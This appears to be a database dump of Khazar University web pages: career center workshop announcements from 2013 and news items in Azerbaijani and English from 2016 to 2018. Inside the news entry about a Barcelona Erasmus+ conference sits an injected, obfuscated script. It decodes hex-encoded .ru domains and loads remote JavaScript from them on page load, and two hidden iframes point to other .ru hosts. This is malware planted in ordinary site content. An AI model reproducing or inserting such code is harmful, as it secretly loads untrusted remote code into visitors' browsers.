&nbsp;DEAR PSYCOLOGISTS</strong><br><br>We are pleased to inform you that the Career Center will conduct lecture on<br><br>PSYCHOANALYSIS PRACTICAL APPLICATION METHODS<br><br></p><p>FROM THEORY TO PRACTICE<br><br>Date:&nbsp;26 April, Friday, 2013<br><br>Time:&nbsp;16:00 - 18:00</p><p>Place:&nbsp;Hall No 203 (II floor, new campus)</p><p>Trainer:&nbsp;<strong>Kanan Rahimov</strong><br><br>For any question please, visit Room N 211<br><br>Career Development Center<br><br>Don’t miss the chance!</p><p>&nbsp;We are pleased to inform you that the Career Center will conduct lecture on</p><p><br></p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CHARISMATIC LEADERSHIP</strong></p><p><em>Session Titles:</em><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></p><br><ul><li>The understanding of Charisma; The natives and Immigrants</li><li>The meaning of “Sayanin gulu saymayanin agasiyam”</li><li>The myth about Charisma; The Problems Languages, Solution &nbsp;</li><li>&nbsp;Languages; How to be farther, the form of LOVE, The Women</li><li>Charisma, Discussions and Debates</li></ul><em></em><br><p>Date:<em>&nbsp;</em>13 April, Saturday, 2013</p><p>Time:&nbsp;15:00 - 18:00</p><p>&nbsp;Place:&nbsp;Hall No 206 (II floor, old campus)</p><p>Trainer:&nbsp;&nbsp;<strong>Talib Bayramov</strong></p><p>To register for the workshop, visit Room N 211</p><p>Career Development Center</p><p><strong>Deadline: 12 April, 17:00</strong></p><p>&nbsp;We are pleased to inform you that the Career Center will conduct training on</p><p><br></p><br><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MARKETING STARTUP</strong></p><p><em>Session Titles:</em><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></p><br><ul><li>Idea and product;</li><li>The main difference of product and service marketing;</li><li>Product, Price, Place, Promotion;</li><li>The form of LOVE, The Women&nbsp;Charisma,&nbsp;</li><li>Discussions and Debates</li></ul><em></em><br><p>Date :&nbsp;13 April, Saturday, 2013</p><p>Time:&nbsp;&nbsp;15:00 - 18:00</p><p>&nbsp;Place:&nbsp;&nbsp;Hall No 206 (II floor, old campus)</p><p>Trainer:&nbsp;&nbsp;<strong>Talib Bayramov</strong></p><p>To register for the workshop, visit Room N 211</p><p>Career Development Center</p><p><strong>Deadline: 12 April, 17:00</strong></p><p>&nbsp;We are pleased to inform you that the Career Center will conduct training on</p><p>&nbsp;</p><div><hr></div><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; MARKETING STARTUP</strong></p><p><em>Session Titles:</em><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></p><br><ul><li>Idea and product;</li><li>The main difference of product and service marketing;</li><li>Product, Price, Place, Promotion;</li><li>SWOT Analyze (with two different ways), AIDA and BCG matrix;</li><li>Discussions and debates</li></ul><em></em><br><p>Date: &nbsp;17 April, Wednesday, 2013</p><p>Time:&nbsp;14:00 - 16:00</p><p>&nbsp;Place:&nbsp;Khazar University Downtown Campus</p><p>Trainer:<strong>&nbsp;Mirshahbaz Seyidli</strong></p><p>To register for the workshop, visit Dean Assistant Room</p><p><strong>Deadline: 16 April, 17:00</strong></p><p>We are pleased to inform you that the Career Center will conduct seminar on</p><p>&nbsp;</p><hr><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; MOTIVATION AND SELF CONFIDENCE</strong></p><p><em>Session Titles:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></p><br><ul><li>Motivated underachievement, becoming motivated, positive addiction;</li><li>Planning behavioral changes, self-help methods;</li><li>Completing self-help plan, how to understand behavior,&nbsp;</li><li>The loss of the Love of Someone;</li><li>Improve your self-projection, Pinpoint your goals;</li><li>A sense of pride, a sense of satisfaction;</li><li>Discussions and debates</li></ul><em></em><br><p>Date :&nbsp;6 April, Saturday, 2013</p><p>Time :&nbsp;13:00 - 18:00</p><p>&nbsp;Place:&nbsp;Hall No 206</p><p>Trainer:&nbsp;<strong>Togrul Alakbarov</strong></p><p>To register for the workshop, visit Career Development Center</p><p><strong>Deadline: 5 April, 17:00</strong></p><p><strong><br></strong></p><hr><p><strong>&nbsp;</strong><strong>&nbsp;</strong></p><p><strong></strong><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TIME MANAGEMENT</strong></p><p>Session Titles:</p><br><ul><li>&nbsp;What is difference being ‘busy’ and ‘productive’?</li><li>Help methods;</li><li>Completing self-help plan, how to understand behavior,&nbsp;</li><li>The loss of the Love of Someone;</li><li>Improve your self-projection, Pinpoint your goals;</li><li>A sense of pride, a sense of satisfaction;</li><li>Discussions and debates&nbsp;</li></ul><br><p>Date:&nbsp; 6 April, Saturday, 2013</p><p>Time:&nbsp;13:00 - 18:00</p><p>&nbsp;Place:&nbsp;Hall No 206</p><p>Trainer:<strong>&nbsp;Togrul Alakbarov</strong></p><p>To register for the workshop, visit Career Development Center</p><p><strong>Deadline: 5 April, 17:00</strong></p><p>&nbsp;</p><div><hr></div><p><strong>&nbsp;</strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TIME MANAGEMENT</strong></p><p>Session Titles:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><br><ul><li>What is difference being ‘busy’ and ‘productive’?</li><li>Is it possible to manage the Time?</li><li>How to delegate in the right way for the right reasons?</li><li>Discussions and debates</li></ul><br><p>Date :&nbsp;3 April, Wednesday, 2013</p><p>Time: 14:00 - 16:00</p><p>&nbsp;Place:&nbsp;Khazar University Downtown Campus</p><p>Trainer:&nbsp;<strong>Tofig Sadikhov&nbsp;</strong></p><p>To register for the workshop, visit Dean Assistant Room</p><p><strong>Deadline: 2 April, 17:00</strong></p><p><strong>Remember!</strong>&nbsp;Only 25 candidates can apply for participation.</p><p><strong>NOTE:</strong><em>&nbsp;&nbsp;&nbsp;</em>Each participant completing all sections of the course will receive a Certificate of Training signed by the Career Center Coordinator and Trainer.&nbsp;Any changes will be sent by e-mail.</p><p><br></p><hr><br><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ORATORY-MASTER CLASS COURSE</strong></p><p><em>&nbsp;</em>Session Titles: &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><br><ul><li>Self-introduction: How to make a first good impression;</li><li>The speaker’s personal image, body language; body position, gestures, etc;</li><li>Face expressions and visual contact with the audience;&nbsp;</li><li>Effective presentations: audiovisual resources and media such&nbsp;as Power Point;</li><li>Intonation, volume, vocalization and silences;</li><li>Discussions and debates</li></ul><br><p>Date :&nbsp;30 March, Saturday, 2013</p><p>Time:&nbsp;13:00 - 17:00</p><p>&nbsp;Place:&nbsp;Hall No 206 (II floor, old building)</p><p>Trainer:&nbsp;Talib Bayramov</p><p>To register for the workshop, visit Room No 211</p><p>Career Development Center</p><p><strong>Deadline: 29 March, 17:00</strong></p><p><strong><br></strong></p><hr><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Internship or Volunteer?</strong></p><p>The course will be held in three sessions:</p><ul><li>What is Internship; why you need Internship or Voluntary Work;</li><li>Comparison of Internship Program and Voluntary Work;</li><li>How to be effective Intern, how to go and come back from Internship Program;</li><li>Volunteer or Internship?</li><li>Discussions and debates.</li></ul><p><em>&nbsp;</em>Room No 206 (II floor, old building)</p><p>Trainer: <em>Javid GULIYEV</em></p><p><strong>16 March, Saturday</strong></p><p>15:00 – 17:00</p><p>Each session will include a half-hour coffee break</p><p>To register for the workshop, visit Room No 211 (Career Development Center)</p><p><strong>Deadline: 15 March, 17.00</strong></p><p>Register soon!&nbsp;</p><p>We are pleased to inform you that the Career Center will conduct a workshop on</p><p><br></p><hr><p>&nbsp;</p><p><strong>How to write Effective Resume/CV; Cover/Motivation Letters; Effective Interviewing/Dress to Impress</strong></p><p>The course will be held in three sessions:</p><ul><li>Effective Resume/CV, Cover/Motivation letter writing for related fields or professionals; Do’s and Don’ts;</li><li>Effective Interviewing; Do’s and Don’ts</li><li>Discussions and Debates;</li><li>Practice of Resumes/Motivation Letters and CV/Letters Clinic</li></ul><p>Trainer:<strong>&nbsp;Togrul ALAKBAR</strong></p><p>8 March, Friday</p><p>12:00 – 15:00</p><p>Each session will be one hour with half hour coffee break.</p><p>To register for the workshop, ask to Gunay Asadova</p><p>Deadline: 7 March, 16:00</p><p>Register soon!</p><p><br></p><br><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;How to write Effective Resume/CV and Cover/Motivation Letters</strong></p><p>The course will be held in three sessions:</p><ul><li>Effective Resume/CV, Cover/Motivation letter writing for related fields or professionals; Do’s and Don’ts;</li><li>Discussions and Debates;</li><li>Practice of Resumes/Motivation Letters and CV/Letters Clinic</li></ul><p>Hall № 206, II Floor (old building)</p><p>Trainer:&nbsp;<strong>Vagif KARIMLI</strong></p><p>2 March, Saturday</p><p>10:30 – 13:00</p><p>This workshop is for students who missed the opportunity!</p><p><br></p><br><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Dear Students and Alumni</strong></p><p>Career Development Center is inviting you to the</p><p><strong><em>Financial Aid Letter Writing Workshop</em></strong></p><p>Tomorrow 11:00</p><p>Career Center Team</p><p><br></p><br><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Dear Students and Alumni</strong></p><p>Career Development Center is inviting you to the</p><p><em><strong>Motivation Letter Writing Workshop</strong></em></p><p>Wednesday, 30 September, 11:00-12:00</p><p>Career Center Team&nbsp;</p><p>&nbsp;</p>  <div><br></div>  <img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\"><img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\">'),(2981,1766,'az','İnkişaf direktoru İspaniyada konfransda iştirak etdi','2016-cı il oktyabrın 12-dən 14-dək Avropa Birliyinin Erasmus+ proqramının maliyyə dəstəyi ilə İspaniyanın Barselona Universitetdə “Ali təhsil islahat ekspertlərinə dəstək...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 12-dən 14-dək\r\nAvropa Birliyinin <strong><em>Erasmus+</em></strong> proqramının maliyyə dəstəyi ilə İspaniyanın Barselona\r\nUniversitetdə “Ali təhsil islahat ekspertlərinə dəstək və kömək” mövzusunda keçirilən\r\nillik konfransında Xəzər Universitetinin İnkişaf direktoru Raziyə İsayeva\r\niştirak etdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Konfransda 20-dən çox ölkənin ali təhsil\r\nekspertləri iştirak edirdilər. Konfransın məqsədi təhsil siyasəti\r\nislahatlarının təhlili və həyata keçirilməsində iştirakçıların bacarıqlarını\r\ninkişaf etdirmək idi.</p>  <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2609,1568,'az','“İki şəhərin əfsanələri” adlı tədbir keçiriləcək','2016-cı il noyabrın 18-i saat 12:00-da Xəzər Universitetində (təlim otağı, kitabxana ilə üzbəüz) “İki şəhərin əfsanələri” adlı tədbir keçiriləcək.Tədbir KİM-də yerləşən “Çin guşəsi”nin...','<p>2016-cı il noyabrın 18-i saat 12:00-da Xəzər\r\nUniversitetində (təlim otağı, kitabxana ilə üzbəüz) “İki şəhərin əfsanələri”\r\nadlı tədbir keçiriləcək.Tədbir KİM-də yerləşən “Çin guşəsi”nin layihə rəhbəri\r\nOrucova Səidə və koordinatoru Esmira Mehdiyeva tərəfindən hazırlanmışdır.Tədbirdə\r\nKonfusiya İnstitutunun müəllimləri və Xəzər Universitetidə Çin dilini öyrənən tələbələr\r\niştrak edəcəklər. </p>\r\n<p>Maraqlananlar dəvət olunurlar.</p>'),(2610,1569,'az','Universitetin əməkdaşı müəlliflik hüququ ilə bağlı seminarda iştirak etmişdir','2016-cı il noyabrın 14-ü və 15-də Xəzər Universitetinin əməkdaşı Magistratura, doktorantura və elmi işlər bölməsinin müdiri, f.e.f.d. Eldar Şahgəldiyev Bakıda Müəllif Hüquqları...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 14-ü və 15-də Xəzər Universitetinin əməkdaşı\r\nMagistratura, doktorantura və elmi işlər bölməsinin müdiri, f.e.f.d. Eldar\r\nŞahgəldiyev Bakıda Müəllif Hüquqları Agentliyi (MHA), Təhsil Nazirliyi,\r\nStandartlaşdırma, Metrologiya və Patent üzrə Dövlət Komitəsi və Ümumdünya Əqli\r\nMülkiyyət Təşkilatının (ÜƏMT) əməkdaşlığı çərçivəsində “Universitetlərdə,\r\nelmi-tədqiqat və təcrübi-konstruktor müəssisələrində əqli mülkiyyət siyasəti və\r\nelmi-tədqiqat fəaliyyəti” mövzusunda beynəlxalq seminarda iştirak etmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Seminarda ÜƏMT-nin keçid iqtisadiyyatlı və inkişaf etmiş ölkələr\r\ndepartamentinin müdiri Mixal Svantner, Avropa patent müvəkkili, ActoGenix NV şirkətinin\r\nsabiq təsisçisi və baş konsulu Emil Pot, ÜƏMT-in məsləhətçisi Mohammad\r\nAlhabbal, Polşanın Yagellon Universitetinin dosenti Dariuş Kasprzycki, həmçinin,\r\nyerli dövlət orqanları və təhsil müəssisələrinin nümayəndələri məruzələrlə\r\nçıxış etmişlər.</p>'),(2589,1556,'en','Hamlet Isaxanli in Azerbaijani Literature of the Era of Independence Book ','In 2016, the Nizami Literature Institute of the Azerbaijan National Academy of Sciences published a two-volume book entitled Azerbaijani Literature of the Era of Independence: Modern...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">In 2016, the Nizami Literature Institute of the\r\nAzerbaijan National Academy of Sciences published a two-volume book entitled<em>\r\nAzerbaijani Literature of the Era of Independence: Modern Period</em>. The\r\nbook’s Portrait Sketches section included an article about the creative\r\nactivities of Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, entitled “Hamlet Isaxanli:\r\nInnovative Poet.” The author of the article is Professor Badirkhan Ahmadli.<strong><em></em></strong></p>'),(2590,1557,'en','Letter to Hamlet Isaxanli from France','As we previously reported, on November 7-9 Khazar University and Labex TransferS in affiliation to the French National Research Center (CNRS)...','<p>As we previously reported, on November 7-9&nbsp;Khazar University and Labex TransferS in affiliation to the French National Research Center (CNRS) jointly organized an international conference on “Encounters and Interweavings in the Caucasus: a long-term history of cross-cultural transfers” which was held at Khazar University.&nbsp;Michele Espagne, Director of the French National Center for Scientific Research and one of the conference participants, sent the following letter to Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, after the conference:</p><p><br></p><p><strong>Dear Professor Isakhanli,</strong></p><p>After returning home I want to express my admiration for the perfect organization of our conference at&nbsp; Khazar University.</p><p>We have been hosted with a hospitality I was not used to meet in academic circles.</p><p>Your staff and your students have been particularly nice to us.</p><p>We have left Baku with the most favourable impression and we will have wonderful memories of our stay in Azerbaijan.</p><p>I hope we find an opportunity to publish the proceedings in an English version , and if you agree with the project we think about&nbsp; a second&nbsp; possibly extended French version, like the book which has been edited after a previous conference in Samarkand.</p><p><br></p><p>With best wishes</p><p><strong>Michel Espagne</strong></p>'),(2005,1220,'en','“360 Degree Communication with Students with Disabilities” Seminar','On June 18, 2016, Rima Mammadova, project manager and coordinator for the Center for Students with Disabilities held a seminar entitled...','<div>On June 18, 2016, Rima Mammadova, project manager and\r\ncoordinator for the Center for Students with Disabilities held a seminar\r\nentitled “360 Degree communication with Students with Disabilities“ for the\r\nparticipants of “<a href=\"http://www.khazar.org/news/2016/article_7975.html\">Training\r\nCourse for Potential School Directors</a>”. During the seminar Rima Mammadova gave information to the\r\nparticipants about the project ESFIDIP, disabilities, related legislation,\r\ninclusive education and ethical treatment of students with disabilities. Then a\r\nworkshop, related to the topic, was held and a video was shown.</div>\r\n<div>About 20 school directors and teachers participated in the event.</div>'),(706,500,'en','Professional Perspectives','Professional Perspectives','<p style=\"text-align:justify\">The Professional Perspectives event series gives students the opportunity to meet with alumni and other professionals from all sectors. Gain first-hand insights into their daily work, receive career advice and learn more about job opportunities and application process in the respective fields.</p><p style=\"text-align:center\"><strong>Careers in Translation</strong></p><p><strong>Presenter</strong>: Nasimi Hasanov</p><p>March 13, 2018 (206)</p><p><strong>Time</strong>: 15:30</p>  <p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>Meet&amp; Greet Encotec Company</strong></p><p><strong>Date</strong>:&nbsp;09.03.18</p><p><strong>Time</strong>:&nbsp;15:30</p><p><strong>Venue</strong>:&nbsp;206</p><p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>Meet&amp;Greet HUAWEI</strong></p><p><strong>Date</strong>: 22.02.18</p><p><strong>Time</strong>: 15:30</p><p><strong>Venue</strong>: 307 N</p><p><br></p><p style=\"text-align:center\"><span style=\"font-size:small;color:#1d2129\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\" rel=\"media13714766081258745\" width=\"100\" height=\"100\">\"&gt;</span><strong style=\"text-align:center\">Blood type and your personality</strong></p><p><strong>Presenter</strong>: Associate Professor Sevda Tahirli, PhD in Biology, President of M.A. Sabir Foundation</p><p>December 28, 2017&nbsp;(102N)</p><p><strong>Duration</strong>: 15:00-16:30</p><p><br></p><p><br></p><p style=\"text-align:center\"><strong>KPMG University Days</strong></p><p><strong>Presenters</strong>: Karim Daiyev, Sona Gurbanova, Zahra Imranova, Aslan Bagirov, Aysel Balakishiyeva</p><p>December 22, 2017 (Marble Hall)</p><p><strong>Duration</strong>: 16:30-18:00</p>  <p style=\"text-align:center\"><br></p><p style=\"text-align:center\"><strong>KPMG Azerbaijan - Career Day</strong></p><p style=\"text-align:justify\">On May 22, 2017 KPMG Azerbaijan will held Career Day at\r\nKhazar University Neftchilar Campus ( Room 402N).</p><p style=\"text-align:justify\">Within the Career Day the Company representatives will\r\nreview and gather candidates CV’s and held the online testing which will be the\r\nfirst step of recruitment process to the vacant internship positions at Audit\r\nand Tax Department of KPMG Azerbaijan. All the senior year undergraduate and\r\npostgraduate students majoring in Finance, Accounting and Audit, BBA and MBA\r\nare invited for participation. </p>\r\n<p style=\"text-align:justify\">For registration please visit Career Center Room 211 old.\r\nDeadline for registration is 15 May 2017.</p>  <p dir=\"ltr\" style=\"text-align:center\"><br></p><p dir=\"ltr\" style=\"text-align:center\"><strong>MEET ERNST &amp; YOUNG at Khazar University  <br></strong></p><p dir=\"ltr\">Dear\r\nStudents,</p>\r\n<p>Career\r\nCenter is pleased to invite you to attend the Ernst &amp; Young information\r\nsessions.</p>\r\n<p>Seminar\r\nsessions will be held on March 6, 15:00 Room 206(OLD)</p>\r\n<p>Representatives\r\nof Human Resources office from Ernst &amp; Young will deliver seminar on\r\nemployment requirements, application mistakes and give interview behavior tips.\r\n</p>\r\n<p>Don’t miss\r\nthe opportunity!</p>  <p dir=\"ltr\"><br></p><p dir=\"ltr\"><strong><br></strong></p><p dir=\"ltr\"><strong>Meeting with KASPI</strong></p><p dir=\"ltr\">Do not forget to participate!</p><p dir=\"ltr\">15 December 2016&nbsp;<br></p><p dir=\"ltr\">15:00-16:00</p><p dir=\"ltr\">Room – 102 N</p><p dir=\"ltr\">&nbsp;Groups:</p><p dir=\"ltr\"><strong>Last year Education Faculty Students</strong></p><p dir=\"ltr\">You are welcome to get acquainted with Internship Opportunities within Kaspi Education Company</p><p dir=\"ltr\"><br></p><p dir=\"ltr\"><strong></strong></p><hr noshade=\"noshade\"><strong><br></strong><br><p dir=\"ltr\"><strong><br></strong></p><p dir=\"ltr\"><strong>Meeting with Procter &amp; Gamble</strong></p><p dir=\"ltr\">Do not forget to participate!</p><p dir=\"ltr\">2 December 2016</p><p dir=\"ltr\">14:00-15:00</p><p dir=\"ltr\">Room – 206 N</p><p dir=\"ltr\">Target Groups:</p><ul><li dir=\"ltr\"><p dir=\"ltr\">Marketing (3rd Year Bachelor and 1st Year Master degrees)</p></li><li dir=\"ltr\"><p dir=\"ltr\">Sales (3rd Year Bachelor and 1st Year Master degrees)</p></li><li dir=\"ltr\"><p dir=\"ltr\">Finance (3rd Year Bachelor and 1st Year Master degrees)</p></li></ul><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\"><span lang=\"EN-US\" style=\"color:#1d2129\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\" rel=\"media014528813539072871\" width=\"100\" height=\"100\">\"&gt;<strong>You are welcome to get acquainted with Internship Opportunities within P&amp;G.</strong></span></p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\"><span lang=\"EN-US\" style=\"color:#1d2129\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\" rel=\"media8134668306447566\" width=\"100\" height=\"100\">\"&gt;<br></span></p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\"><strong></strong></p><hr noshade=\"noshade\"><strong><br></strong><br><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\"><strong>BP is here!</strong><strong>&nbsp;</strong></p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\">\r\nDo not forget to participate!</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\">23 November 2017&nbsp;<br>\r\n11:00-12:00<br>\r\nRoom - 102 N</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\">Target Groups:</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-align:center;text-indent:-18.0pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPetroleum\r\nEngineering (2018 Graduates)</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-align:center;text-indent:-18.0pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMechanical\r\nEngineering (2018 Graduates)</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-align:center;text-indent:-18.0pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProcess\r\nEngineering (2018 Graduates)</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-align:center;text-indent:-18.0pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinance\r\n(2017 and 2018 Graduates)</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-align:center;text-indent:-18.0pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nConstruction\r\nEngineering (2017 and 2018 Graduates)</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:36.0pt;text-align:center;text-indent:-18.0pt;background:white\"\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nElectronics,\r\nTelecommunication, Electrical Engineering, Maintenance of radio system (2018\r\nGraduates)</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\">You are welcome to get acquainted with Internship\r\nOpportunities within BP</p><p style=\"\" margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;text-align:center;background:white\"\"=\"\"><br></p><br><hr noshade=\"noshade\"><br><br><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<strong>BUSINESS MEETING&nbsp;</strong><strong>With&nbsp;</strong><strong>LeveLand&nbsp;</strong><strong>Education Center</strong></p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0cm;margin-bottom:8.5pt;margin-left:0cm;text-align:center;line-height:normal\"=\"\">27&nbsp;October,\r\n2016</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0cm;margin-bottom:8.5pt;margin-left:0cm;text-align:center;line-height:normal\"=\"\">15:00\r\n– 16:00</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0cm;margin-bottom:8.5pt;margin-left:0cm;text-align:center;line-height:normal\"=\"\">Room\r\n206 (II floor, OLD)</p>\r\n<p style=\"\" margin-top:5.65pt;margin-right:0cm;margin-bottom:8.5pt;margin-left:0cm;text-align:center;line-height:normal\"=\"\">For\r\nregistration, visit Career Center Room № 211, II floor, OLD</p><p><br></p><p><br></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; “Internship Program” by the&nbsp; 